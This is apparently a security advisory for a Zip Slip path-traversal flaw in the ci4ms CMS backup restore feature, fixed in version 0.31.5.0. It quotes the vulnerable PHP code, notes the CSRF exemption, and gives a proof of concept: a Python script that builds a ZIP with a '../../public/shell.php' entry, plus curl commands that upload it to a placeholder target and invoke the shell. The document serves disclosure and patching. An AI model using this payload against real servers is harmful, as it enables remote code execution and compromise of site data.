GHSA-xp9f-pvvc-57p4 CI4MS Backup::restore is vulnerable to Zip Slip leading to RCE

• Packagist ci4-cms-erp/ci4ms: < 0.31.5.0 → fixed in 0.31.5.0

Summary ci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root. Details modules/Backup/Controllers/Backup.php:80-119 implements the restore action. The uploaded file is moved to `WRITEPATH . 'uploads/'`, and if the extension is `zip`, ZipArchive::extractTo() is called directly without iterating entries to verify they resolve inside the destination: ```php public function restore() { $valData = ([ 'backup_file' => ['label' => 'Backup File', 'rules' => 'uploaded[backup_file]|ext_in[backup_file,zip]'], ]); if ($this->validate($valData) == false) return redirect()->route('backup')->withInput()->with('errors', $this->validator->getErrors()); $file = $this->request->getFile('backup_file'); if ($file && $file->isValid() && ! $file->hasMoved()) { $newName = $file->getRandomName(); $uploadPath = WRITEPATH . 'uploads/'; ... $filePath = WRITEPATH . 'uploads/' . $newName; $sqlPath = $filePath; if ($ext === 'zip') { $zip = new \ZipArchive(); if ($zip->open($filePath) === true) { $zip->extractTo($uploadPath); // no entry-name validation $sqlPath = $uploadPath . $zip->getNameIndex(0); $zip->close(); @unlink($filePath); } } ... } } ``` A ZIP containing entries like `../../public/shell.php` is extracted outside `writable/uploads/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here. Routing: modules/Backup/Config/Routes.php binds `POST backend/backup/restore` to Backup::restore with `role=create`, and modules/Backup/Config/BackupConfig.php adds `backend/backup` and `backend/backup/*` to `csrfExcept`, so the route accepts cross-site POSTs from an authenticated administrator's browser. PoC Build the archive: ```python python3 -c " import zipfile with zipfile.ZipFile('evil.zip','w') as z: z.writestr('../../public/shell.php', '') z.writestr('dump.sql', 'SELECT 1;') " ``` Submit it as a backup to restore: ```bash curl -i -b 'ci4ms_session=' \ -F '[email protected]' \ https://target.example.com/backend/backup/restore ``` Trigger the shell: ```bash curl 'https://target.example.com/shell.php?c=id' uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` Impact Any ci4ms account that can restore a backup can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles. Because the route is in the csrfExcept list, a logged-in administrator who visits a malicious page can be forced to perform the restore cross-site, turning this into drive-by RCE against site operators.